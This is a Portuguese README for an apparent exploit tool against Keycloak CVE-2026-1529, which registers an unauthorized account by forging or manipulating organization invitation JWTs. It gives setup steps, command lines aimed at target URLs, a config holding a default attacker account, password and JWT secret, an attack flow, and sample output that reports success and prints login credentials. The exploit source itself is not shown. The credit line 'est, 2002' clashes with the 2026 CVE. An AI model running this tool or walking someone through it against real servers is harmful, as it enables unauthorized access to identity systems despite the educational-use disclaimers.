
Keycloak: Registro não autorizado de organização via validação inadequada do token de convite
CVE-2026-1529: Keycloak - Registro não autorizado de organização via validação inadequada de token de convite
⚠️ AVISO: Esta ferramenta é apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal.
Esta ferramenta demonstra uma vulnerabilidade crítica no Keycloak (CVE-2026-1529) que permite o registro não autorizado de organização através da validação inadequada de tokens de convite JWT. A exploração manipula tokens de convite para obter acesso não autorizado a instâncias do Keycloak.
Detalhes da Vulnerabilidade:
# Clonar o repositório
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Criar ambiente virtual
python3 -m venv venv
source venv/bin/activate # No Windows: venv\Scripts\activate
# Instalar dependências
pip install -r requirements.txt
# Criar estrutura de diretórios
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Baixar arquivos dos releases ou copiar manualmente
# Depois instalar dependências
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Script principal de exploração
├── requirements.txt # Dependências Python
├── README.md # Este arquivo
├── config/
│ └── default_config.json # Arquivo de configuração
├── utils/
│ ├── __init__.py # Inicializador do pacote
│ ├── http_utils.py # Utilitários de cliente HTTP
│ ├── jwt_utils.py # Manipulação de JWT
│ └── crypto_utils.py # Utilitários de criptografia
├── logs/ # Logs gerados automaticamente
└── output/
└── reports/ # Relatórios de exploração
python3 keycloak-exploit.py https://target-keycloak.com
# Com token de convite personalizado
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Com ID de organização personalizado
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Com arquivo de configuração personalizado
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Ativar registro de depuração
python3 keycloak-exploit.py -d https://target.com
# Mostrar ajuda
python3 keycloak-exploit.py -h
# Mostrar versão
python3 keycloak-exploit.py -v
Edite config/default_config.json para personalizar os parâmetros de exploração:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
A exploração funciona nas seguintes etapas:
Verificação de Vulnerabilidade
Geração/Manipulação de Token
Registro de Usuário
Verificação de Login
Geração de Relatório
output/reports/┌─────────────────┐
│ Verificação │
│ do Alvo │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Gerar/Obter │
│ Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Manipular │
│ Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Registrar │
│ Usuário │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Testar Login │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Gerar Relatório│
└─────────────────┘
============================================================
RESULTADOS DA EXPLORAÇÃO CVE-2026-1529
============================================================
✓ O alvo é vulnerável ao CVE-2026-1529
🎯 EXPLORAÇÃO BEM-SUCEDIDA!
Nome de usuário: admin_user_2026
Senha: KeycloakCVE2026!
Email: [email protected]
Link de Login: https://target.com/realms/master/account
📄 Relatório salvo em: output/reports/exploit_report_20260211_050507.txt
🔐 Use as credenciais fornecidas para acessar a instância do Keycloak!
⚠️ Isso demonstra acesso não autorizado devido ao CVE-2026-1529
============================================================
por f3ds cr3w est, 2002
============================================================
Um relatório detalhado é salvo em output/reports/ contendo:
Os logs são salvos no diretório logs/ com informações detalhadas de execução.
Solução:
# Certifique-se de estar no diretório correto
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
Solução:
# Garanta que o diretório config exista
mkdir -p config
# Copie ou crie default_config.json em config/
Solução: Isso foi corrigido na versão mais recente. Atualize o urllib3:
pip install --upgrade urllib3
Possíveis razões:
Solução:
# Ative o registro de depuração para ver mais detalhes
python3 keycloak-exploit.py -d https://target.com
Solução:
# Aumente o tempo limite em config/default_config.json
"timeout": 60
Ative o registro detalhado para solucionar problemas:
python3 keycloak-exploit.py -d https://target.com
Isso mostrará:
⚠️ AVISO LEGAL IMPORTANTE ⚠️
Esta ferramenta é fornecida apenas para fins EDUCACIONAIS e de TESTES DE SEGURANÇA AUTORIZADOS.
Ao usar esta ferramenta, você concorda que:
1. Você usará esta ferramenta apenas em sistemas que possui ou para os quais tem
permissão explícita por escrito para testar.
2. Você entende que o acesso não autorizado a sistemas de computador é ilegal
sob leis que incluem, mas não se limitam a:
- Computer Fraud and Abuse Act (CFAA) - Estados Unidos
- Computer Misuse Act - Reino Unido
- Legislação semelhante em outros países
3. Você aceita total responsabilidade por quaisquer consequências do uso desta ferramenta.
4. Os autores e contribuidores não são responsáveis por qualquer uso indevido ou dano
causado por esta ferramenta.
5. Esta ferramenta é fornecida "COMO ESTÁ" sem garantia de qualquer tipo.
USE POR SUA CONTA E RISCO. ACESSO NÃO AUTORIZADO É CRIME.
Contribuições são bem-vindas! Por favor, siga estas diretrizes:
git checkout -b feature/improvement)git commit -am 'Adicionar novo recurso')git push origin feature/improvement)# Clone seu fork
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Criar ambiente virtual
python3 -m venv venv
source venv/bin/activate
# Instalar dependências
pip install -r requirements.txt
# Faça suas alterações e teste
python3 keycloak-exploit.py https://test-target.com
Criado por: f3ds cr3w est, 2002
Para perguntas, problemas ou preocupações de segurança:
Lembre-se: Sempre pratique divulgação responsável e hacking ético. Ref: https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation Feito com ❤️ por f3ds cr3w est, 2002
| Argumento | Curto | Descrição |
|---|
target | - | URL do Keycloak alvo (obrigatório) |
--token | -t | Token de convite personalizado |
--org-id | -o | ID de organização personalizado |
--config | -c | Caminho para o arquivo de configuração |
--debug | -d | Ativar registro de depuração |
--version | -v | Mostrar informações de versão |
--help | -h | Mostrar mensagem de ajuda |
| Seção | Parâmetro | Descrição | Padrão |
|---|
exploit | default_username | Nome de usuário para registro | admin_user_2026 |
exploit | default_password | Senha para registro | KeycloakCVE2026! |
exploit | default_email | Email para registro | [email protected] |
exploit | timeout | Tempo limite de requisição HTTP (segundos) | 30 |
exploit | max_retries | Máximo de tentativas HTTP | 3 |
jwt | algorithm | Algoritmo de assinatura JWT | HS256 |
jwt | secret_key | Chave secreta JWT | Personalizado |
jwt | token_expiry | Expiração do token (segundos) | 3600 |